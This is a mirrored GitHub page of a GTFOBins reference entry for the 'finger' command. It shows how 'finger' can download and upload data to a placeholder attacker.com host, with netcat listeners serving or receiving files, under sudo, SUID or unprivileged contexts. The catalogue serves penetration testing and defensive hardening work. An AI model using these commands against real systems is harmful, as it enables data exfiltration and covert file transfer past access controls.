1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 22:46:19 +01:00
GTFOBins.github.io/_gtfobins/finger
2026-01-05 22:26:55 +01:00

32 lines
740 B
Plaintext

---
functions:
download:
- code: |-
finger x@attacker.com
comment: |-
The command hangs waiting for the remote peer to close the socket.
contexts:
sudo:
suid:
unprivileged:
sender:
code: |-
nc -l -p 79 </path/to/input-file
comment: |-
A TCP server can be used on the attacker box to send the data.
upload:
- code: |-
finger DATA@attacker.com
comment: |-
The command hangs waiting for the remote peer to close the socket.
contexts:
sudo:
suid:
unprivileged:
receiver:
code: |-
nc -l -p 79 >/path/to/output-file
comment: |-
A TCP server can be used on the attacker box to receive the data.
...